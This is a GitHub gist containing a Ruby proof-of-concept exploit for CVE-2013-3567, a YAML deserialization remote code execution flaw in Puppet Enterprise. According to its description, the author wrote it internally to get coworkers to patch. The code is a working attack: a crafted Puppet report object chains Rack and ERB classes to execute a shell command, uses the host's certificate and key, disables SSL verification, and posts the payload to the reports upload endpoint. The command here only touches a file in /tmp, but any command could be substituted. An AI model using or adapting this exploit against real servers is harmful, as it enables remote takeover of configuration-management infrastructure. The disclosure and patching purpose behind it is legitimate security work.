Skip to content

Instantly share code, notes, and snippets.

@adaburrows
Last active May 22, 2020 22:48
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save adaburrows/30b66adae705e6cb2bf6 to your computer and use it in GitHub Desktop.
Save adaburrows/30b66adae705e6cb2bf6 to your computer and use it in GitHub Desktop.
Puppet Enterprise 2.8.2 Remote Code Execution Exploit CVE-2013-3567 -- This uses the same YAML RCE flaw just with different classes known to be installed in this configuration. This is my original PoC I wrote at Puppet to force my coworkers to patch.
require 'puppet'
require 'puppet/network/http_pool'
require 'uri'
url = URI.parse('https://localhost:443/reports/upload')
headers = { "Content-Type" => "application/x-yaml" }
body = <<HELLO
--- !ruby/object:Puppet::Transaction::Report
metrics:
resources: !ruby/object:Puppet::Util::Metric
name: resources
label: Resources
values:
- - total
- Total
- 7
time: !ruby/object:Puppet::Util::Metric
name: time
label: Time
values:
- - total
- Total
- 15.547794
changes: !ruby/object:Puppet::Util::Metric
name: changes
label: Changes
values:
- - total
- Total
- 0
events: !ruby/object:Puppet::Util::Metric
name: events
label: Events
values:
- - total
- Total
- 0
logs:
- !ruby/object:Puppet::Util::Log
level: !ruby/sym notice
tags:
- notice
message: "Finished catalog run in 12.29 seconds"
source: Puppet
time: 2013-08-27 12:09:09.060215 -07:00
resource_statuses: !ruby/object:Rack::Response
header: {}
block: !ruby/object:Rack::ShowStatus
app: !ruby/object:Rack::Cascade
apps: []
template: !ruby/object:ERB
src: "system('touch /tmp/ownzor')"
body: []
host: masterc57x64.jill.dev
time: 2013-08-28 12:08:45.945045 -07:00
kind: apply
report_format: 3
puppet_version: "3.2.4 (Puppet Enterprise 3.0.1-rc0-52-g0f000d8)"
configuration_version: 666
environment: production
status: unchanged
HELLO
use_ssl = url.scheme == 'https'
Puppet::initialize_settings
# The code below used to be the following two lines:
# conn = Puppet::Network::HttpPool.http_instance(url.host, url.port, use_ssl, false)
# response = conn.post(url.path, body, headers)
cert_key_path = Puppet[:hostprivkey]
cert_path = Puppet[:hostcert]
ca_file_path = Puppet[:localcacert]
begin
key_content = IO.read(cert_key_path)
rescue => e
raise "Could not read file #{cert_key_path}: #{e}"
end
begin
cert_content = IO.read(cert_path)
rescue => e
raise "Could not read file #{cert_path}: #{e}"
end
http = Net::HTTP.new(url.host, url.port)
http.ca_file = ca_file_path
http.cert = OpenSSL::X509::Certificate.new(cert_content)
http.key = OpenSSL::PKey::RSA.new(key_content)
http.use_ssl = use_ssl
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
http.verify_callback = proc { | preverify_ok, store_context |
puts preverify_ok, store_context.inspect
raise OpenSSL::SSL::SSLError.new
false
}
api_request = Net::HTTP::Post.new(url.path, headers)
api_request.body = body
http.request(api_request)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment